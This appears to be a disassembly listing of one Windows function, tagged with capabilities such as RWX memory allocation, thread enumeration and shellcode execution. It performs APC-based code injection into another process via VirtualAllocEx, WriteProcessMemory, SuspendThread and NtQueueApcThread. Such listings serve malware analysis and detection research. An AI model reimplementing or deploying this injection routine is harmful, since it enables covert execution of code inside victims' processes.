Function at 0x10002625
Capabilities:
Allocate or change rwx memory
Enumerate threads
Execute shellcode via indirect call
Resume thread
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80
push ebx
push edi
push 5
xor edx, edx
lea edi, [ebp - 0x7c]
pop ebx
xor eax, eax
mov dword [ebp - 0x80], edx
push 6
pop ecx
rep stosd dword es:[edi], eax
mov dword [ebp - 0x48], edx
lea edi, [ebp - 0x40]
mov dword [ebp - 0x44], edx
stosd dword es:[edi], eax
mov dword [ebp - 0x18], edx
mov dword [ebp - 4], edx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.10004bd3
mov dword [ebp - 8], eax
test eax, eax
je 0x1000290f
cmp dword [ebp + 0x18], 1
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp + 0x20]
push esi
mov esi, dword [ebp + 0x10]
mov dword [ebp - 0x40], eax
mov byte [ebp - 0x38], 0
mov dword [ebp - 0x80], 0x1c
jne 0x10002698
mov dword [ebp - 0x14], 0x100280c0
mov dword [ebp - 0xc], 0xf4
jmp 0x1000276c
cmp dword [ebp + 0x18], 2
jne 0x10002874
and dword [ebp - 0x64], 0
lea edi, [ebp - 0x60]
push 6
pop ecx
xor eax, eax
mov dword [ebp - 0x14], 0x100281b8
rep stosd dword es:[edi], eax
mov esi, 0x10027f84
mov dword [ebp - 0xc], 0x143
lea edi, [ebp - 0x34]
push 0x40
push 0x3000
movsd dword es:[edi], dword [esi]
push 0x2000
push 0x6b0095f0
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov esi, dword [ebp + 0x10]
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x10], eax
test eax, eax
je 0x1000287c
push 0x1c
lea ecx, [ebp - 0x64]
push ecx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
test eax, eax
je 0x1000287c
push dword [ebp - 0x58]
call fcn.100100b0
mov edi, eax
pop ecx
test edi, edi
je 0x1000287c
push dword [ebp - 0x58]
push 0x90
push edi
call fcn.10010a40
add esp, 0xc
push 0
push dword [ebp - 0x58]
push edi
push dword [ebp - 0x10]
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1000287c
push 0
push 0x12
lea eax, [ebp - 0x34]
push eax
mov eax, dword [ebp - 0x58]
add eax, 0xffffffee
add eax, dword [ebp - 0x10]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1000287c
push edi
call fcn.10010078
pop ecx
push 0x10028414
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x18], eax
test eax, eax
je 0x1000287c
push str.NtQueueApcThread
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x20], eax
test eax, eax
je 0x1000287c
push 0
push 4
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
mov dword [ebp - 4], edi
test edi, edi
jne 0x100027b6
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x10002885
lea eax, [ebp - 0x80]
push eax
push edi
call sub.KERNEL32.dll_Thread32First
test eax, eax
je 0x100027ab
mov eax, dword [ebp - 0xc]
push 0x40
push 0x3000
add eax, 0x14
push eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x1c], eax
test eax, eax
je 0x100027ab
mov ecx, dword [ebp - 0xc]
push 0
push ecx
push dword [ebp - 0x14]
lea edx, [ecx + eax]
push eax
push esi
mov dword [ebp - 0x10], edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x100027ab
push 0
push 0x14
lea eax, [ebp - 0x48]
push eax
push dword [ebp - 0x10]
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x100027ab
mov eax, dword [ebp + 0x14]
cmp dword [ebp - 0x74], eax
jne 0x10002864
push dword [ebp - 0x78]
push 0
push 0x1f03ff
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov esi, eax
test esi, esi
je 0x10002864
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
push esi
cmp eax, 0xffffffff
je 0x1000285e
push dword [ebp - 8]
call fcn.10004db9
pop ecx
pop ecx
push 0
push 0
push dword [ebp - 0x10]
push dword [ebp - 0x1c]
push esi
call dword [ebp - 0x20]
test eax, eax
jne 0x10002864
xor ebx, ebx
jmp 0x10002864
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x80]
push eax
push edi
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x10002813
jmp 0x10002887
push 0xa
call dword [sym.imp.KERNEL32.dll_SetLastError]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, dword [ebp - 4]
mov ebx, eax
test ebx, ebx
jne 0x100028bc
cmp dword [ebp + 8], ebx
je 0x100028bc
mov esi, dword [ebp + 0xc]
test esi, esi
je 0x100028bc
push 2
push 0x20196
push esi
call fcn.10003a39
push esi
push dword [ebp + 8]
push ebx
call fcn.10003f4b
add esp, 0x18
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [ebp - 8]
call fcn.10004e16
mov esi, eax
pop ecx
test esi, esi
je 0x100028ec
mov edi, dword [ebp - 8]
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call fcn.10004e16
mov esi, eax
pop ecx
test esi, esi
jne 0x100028ce
mov edi, dword [ebp - 4]
push dword [ebp - 8]
call fcn.10004c07
pop ecx
pop esi
test edi, edi
je 0x10002901
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x1000290f
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
pop edi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret